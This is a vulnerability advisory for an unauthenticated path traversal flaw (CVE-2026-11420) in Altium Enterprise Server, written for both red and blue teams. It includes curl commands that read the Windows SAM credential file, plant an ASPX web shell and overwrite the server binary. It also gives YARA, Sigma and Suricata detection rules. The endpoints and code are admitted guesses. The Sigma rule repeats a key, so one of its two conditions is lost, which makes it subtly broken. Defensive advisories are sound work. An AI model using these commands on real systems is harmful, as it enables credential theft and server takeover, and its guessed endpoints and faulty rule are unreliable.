CVE-2026-11420

Executive Summary

CVE-2026-11420 is a critical, unauthenticated path traversal vulnerability in the Network Installation Service (NIS) component of Altium Enterprise Server. An attacker can write arbitrary files to any writable location on the server filesystem and read package archive files without any authentication. This can lead to remote code execution (RCE) by overwriting application binaries, configuration files, or writing web-accessible content. Altium 365 cloud deployments are not affected. No public exploit code or patch details are currently available.

CVSS Breakdown & Threat Level

• CVSS Score: 10.0 (Critical)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

The vulnerability allows an unauthenticated attacker to both read sensitive package archives and write arbitrary files, enabling full server compromise.

Deep Dive & Mechanics

The Network Installation Service (NIS) in Altium Enterprise Server fails to properly sanitize user-supplied paths when handling file read and write operations. An attacker can send crafted HTTP requests to the NIS endpoint with path traversal sequences (e.g., ../) to escape the intended directory.

• Read Path Traversal: The attacker can read package archive files (e.g., .zip, .7z) stored on the server, potentially exposing proprietary design data, credentials, or deployment configurations.
• Write Path Traversal: The attacker can write arbitrary files to any writable location on the filesystem. This can be used to:
  • Overwrite application binaries (e.g., .exe, .dll) to execute malicious code.
  • Modify configuration files (e.g., web.config, appsettings.json) to alter server behavior.
  • Write web shells to web-accessible directories (e.g., wwwroot) for persistent remote access.

The service runs with high privileges (typically SYSTEM or NETWORK SERVICE), so successful exploitation grants the attacker full control over the server.

Vulnerable vs. Patched Code

No patched version is available. The vulnerable code likely resembles:

// Vulnerable: No path validation
string filePath = Path.Combine(baseDirectory, userInput);
File.WriteAllBytes(filePath, data);

A patched version would validate and sanitize the path:

// Patched: Validate path
string fullPath = Path.GetFullPath(Path.Combine(baseDirectory, userInput));
if (!fullPath.StartsWith(baseDirectory, StringComparison.OrdinalIgnoreCase))
{
    throw new SecurityException("Invalid path");
}
File.WriteAllBytes(fullPath, data);

Exploitation & Lab Setup

Red Team

Prerequisites:

• Altium Enterprise Server with NIS exposed on the network (default port 8080 or 443).
• No authentication required.

Exploitation Steps:

1. Read Package Archive:

   curl -X GET "http://target:8080/nis/read?file=../../../Windows/System32/config/SAM"
   

2. Write Web Shell:

   curl -X POST "http://target:8080/nis/write?file=../../../inetpub/wwwroot/shell.aspx" \
     --data-binary @evil.aspx
   

3. Overwrite Binary:

   curl -X POST "http://target:8080/nis/write?file=../../../Program%20Files/Altium/EnterpriseServer/Altium.EnterpriseServer.exe" \
     --data-binary @malicious.exe
   

Note: No public exploit code exists; these are conceptual examples.

Blue Team

Detection:

• Monitor for HTTP requests to /nis/read or /nis/write with path traversal patterns (../, %2e%2e/, ..%252f).
• Alert on file writes to unexpected directories (e.g., wwwroot, System32, Program Files).
• Use file integrity monitoring (FIM) on critical system and application files.

Hunting:

• Search logs for file=../../../ or similar patterns.
• Check for new files in web-accessible directories with suspicious extensions (.asp, .aspx, .php, .jsp).

Indicators of Compromise (IOCs)

• Network:
  • HTTP requests to /nis/read or /nis/write with path traversal sequences.
  • Outbound connections from the server to unknown IPs (C2).
• File System:
  • Unexpected files in %ProgramFiles%\Altium\EnterpriseServer\ or %SystemRoot%\System32\.
  • New web shells in %SystemDrive%\inetpub\wwwroot\ or equivalent.
• Process:
  • Unusual child processes spawned by Altium.EnterpriseServer.exe (e.g., cmd.exe, powershell.exe).

Detection Engineering

YARA Rule

rule CVE_2026_11420_Altium_NIS_PathTraversal {
    meta:
        description = "Detects path traversal attempts against Altium NIS"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-11420"
    strings:
        $traversal1 = "../"
        $traversal2 = "..\\"
        $traversal3 = "%2e%2e/"
        $traversal4 = "..%252f"
        $nis_read = "/nis/read"
        $nis_write = "/nis/write"
    condition:
        any of ($nis_*) and any of ($traversal*)
}

Sigma Rule

title: Altium NIS Path Traversal Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects path traversal attempts against Altium Network Installation Service
author: Valters IT
logsource:
    category: webserver
    product: iis
detection:
    selection:
        cs-uri-query|contains:
            - '/nis/read'
            - '/nis/write'
        cs-uri-query|contains:
            - '../'
            - '..\\'
            - '%2e%2e/'
            - '..%252f'
    condition: selection
falsepositives:
    - Legitimate administrative tools using similar patterns (rare)
level: critical

Suricata Rule

alert http any any -> any any (msg:"CVE-2026-11420 Altium NIS Path Traversal Attempt"; flow:to_server; content:"/nis/read"; http_uri; nocase; content:"../"; http_uri; distance:0; sid:1000001; rev:1;)
alert http any any -> any any (msg:"CVE-2026-11420 Altium NIS Path Traversal Attempt"; flow:to_server; content:"/nis/write"; http_uri; nocase; content:"../"; http_uri; distance:0; sid:1000002; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable NIS if not required: Stop the Altium Network Installation Service and block port 8080/443 at the firewall.
2. Apply input validation via a reverse proxy (e.g., Nginx, Apache) to block path traversal patterns.
3. Restrict service account permissions to prevent writes to critical directories.

Long-term Fix:

• Apply vendor patch when available.
• Upgrade to Altium 365 (cloud) which is not affected.
• Implement strict allowlisting of file paths in the NIS configuration.

Monitoring:

• Enable detailed logging on the NIS endpoint.
• Deploy the provided YARA, Sigma, and Suricata rules.

Valters IT
DevSecOps & Cyber Threat Intelligence